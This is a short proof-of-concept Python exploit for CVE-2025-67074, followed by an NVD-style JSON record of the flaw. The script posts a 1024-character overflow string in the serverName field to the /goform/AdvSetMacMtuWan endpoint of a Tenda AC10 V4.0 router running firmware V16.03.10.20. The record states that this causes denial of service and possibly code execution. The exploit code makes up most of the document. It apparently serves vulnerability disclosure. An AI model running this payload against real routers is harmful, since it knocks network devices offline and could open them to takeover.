CVE-2025-67074

import requests # CVE-2025-67074 PoC - Tenda AC10V4.0 Buffer Overflow in fromAdvSetMacMtuWan # Target: Tenda AC10V4.0 router with firmware V16.03.10.20 # Endpoint: /goform/AdvSetMacMtuWan target_ip = "192.168.0.1" # Default Tenda router IP url = f"http://{target_ip}/goform/AdvSetMacMtuWan" # Generate overflow payload - long string to trigger buffer overflow # Adjust length based on target buffer size overflow_length = 1024 # Example length, may need adjustment payload = "A" * overflow_length # Construct POST request with crafted serverName parameter data = { "serverName": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {overflow_length}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}")

{"cve": {"id": "CVE-2025-67074", "sourceIdentifier": "[email protected]", "published": "2025-12-17T20:15:56.517", "lastModified": "2026-01-02T19:44:26.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Buffer overflow vulnerability in function fromAdvSetMacMtuWan of bin httpd in Tenda AC10V4.0 V16.03.10.20 allows remote attackers to cause denial of service and possibly code execution by sending a post request with a crafted payload (field `serverName`) to /goform/AdvSetMacMtuWan."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac10_firmware:16.03.10.20:*:*:*:*:*:*:*", "matchCriteriaId": "A19C486B-52A3-4C3E-851D-F349E8E0A706"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac10:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "970AEBF4-2B32-4633-A75B-2D2C598C048D"}]}]}], "references": [{"url": "https://github.com/johnathanhuutri/CVEReport/tree/master/CVE-2025-67074", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/johnathanhuutri/CVEReport/tree/master/CVE-2025-67074", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}